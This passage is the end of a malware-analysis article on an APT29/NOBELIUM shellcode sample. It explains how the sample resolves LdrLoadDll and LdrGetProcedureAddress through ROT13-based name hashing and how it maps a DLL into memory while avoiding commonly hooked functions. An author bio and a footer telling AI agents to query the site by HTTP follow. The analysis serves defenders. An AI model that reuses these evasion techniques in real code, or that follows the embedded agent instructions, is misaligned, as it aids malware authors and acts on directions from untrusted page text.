        printf("0x%x\n",hash);

}                                                                                                                                                                                                                                                               
```

{% endcode %}

The same hashing algorithm is used to calculate a hash value over the exported function name (standard ROT13).

Having calculated the hash for NTDLL.DLL as well as the exported function name, the hash values of both of these programs are added and then compared to the passed-in hash value.

Mainly the target function whose address is to be resolved is represented as the sum of the two hash values of the target DLL as well as the function of interest.

<figure><img src="/files/YEFCdlmPVigur3ZY309Z" alt=""><figcaption></figcaption></figure>

## Discussion

What stood out for me is that the function accepts a single hash value which in my experience is a little odd, as mostly we see two hash values passed in, one for the DLL and the other for the function within the DLL.<br>

<figure><img src="/files/lMNpzrZaowjyrn89u1mU" alt=""><figcaption></figcaption></figure>

However, in our case, the developers chose to represent the target function to lookup by hash with a single hash value.

That wraps up the **getAddrByHash**, which returns the address of a target function by hash, very much similar to the Windows API function **GetProcAddress**. GetProcAddress resolves a function address at runtime given the name of the function.

It turns out that the function whose hash value is **0xBDBF9C13** is **ntdll!LdrLoadDll** which is the **NTDLL** equivalent to **kernel32!LoadLibrary**, which is used for dynamic DLL loading.&#x20;

<figure><img src="/files/BgcJfz2miv8xxUY934my" alt=""><figcaption></figcaption></figure>

The other hash value is **LdrGetProcedureAddress**.

This is a pretty standard shellcode dynamic function address resolution sequence.

One thing worth noting here is the fact that the authors decided to go with the NTDLL equivalents of LoadLibrary and GetProcAddress functions, probably they're trying to avoid the use of common functions that are likely to be hooked by sandbox solutions.

Early on in our discussion, we saw that the main shellcode function took a few arguments which we didn't have any clue at the time what they are, however, we ecognized from the way the first argument is used in the context and the offsets added to, that it's some module base address.

<figure><img src="/files/HqzY16BrKkCEnQarG4vn" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/ivg2IfWyeWXR94qtu14y" alt=""><figcaption></figcaption></figure>

Mainly, the rest of the function involves using dynamically resolved functions like **VirtualAlloc** and **VirtualProtect** to properly map that module in memory. Then, the execution is transferred to an export within that module.

You may be wondering, "How do you know that the module referred to is a DLL?"

&#x20;As I read through the rest of the function, I noticed that a pointer was obtained to the export directory of the module, and a loop was set up to iterate through the exported functions. The function then hashed the names using the same ROT13 cipher.  We compared them against the weird hex value that was passed into the function as the second argument.

It turns out that the hex value is a hash of one of the functions exported by the DLL.

<figure><img src="/files/5E6XfZMoobHfkSWs1JnJ" alt=""><figcaption></figcaption></figure>

In the next part of this series, we will focus on dynamically analyzing the extracted shellcode to dump the DLL to the disk. Then we will perform a static analysis of the DLL to examine the target export function of interest and see how it is used to set up for the next stage of the infection chain.

Thank you very much for joining me on this detailed analysis  of a sample attributed to APT29 -  NOBELIUM.

<figure><img src="/files/Ks2daKCAiH24tCXEZMZ9" alt="" width="375"><figcaption></figcaption></figure>

*This article was reprinted and modified with the approval of the author. The original article can be found at* [*https://blu3eye.gitbook.io/malware-insight/nobelium*](https://blu3eye.gitbook.io/malware-insight/nobelium)

<div align="left"><figure><img src="/files/1svTNAQBIbYxPeY62ClF" alt="" width="320"><figcaption></figcaption></figure></div>

### Mohamed Talaat Mahmoud Emam

My name is Mohamed Talaat and I go by code names DTM, and Blu3Eye on my socials. I am a Computer Engineer with a Bachelor in Computer Engineering from Suez Canal University,(Ismailia, Egypt). Even though I don't come from a strong cybersecurity background, I took it upon myself to build up a career in cybersecurity. I started as a Cyber Security generalist, I did a little bit of pen-testing and experienced using different tools such as Nmap, Metasploit, and Burb, after much thought I found myself a better fit in Blue Teaming and malware analysis. I do malware analysis and development of TTPs and I write detection rules as part of my on-daily-basis routine. You can find me on LinkedIn and my website is below.

Linkedin - <https://www.linkedin.com/in/mohamed-talaat-049349198/>

Website - <https://blu3eye.gitbook.io/malware-insight>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.cybersleuthchronicles.com/landing/analyzing-apt-29-nobelium-aka-cozy-bear-part-1.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
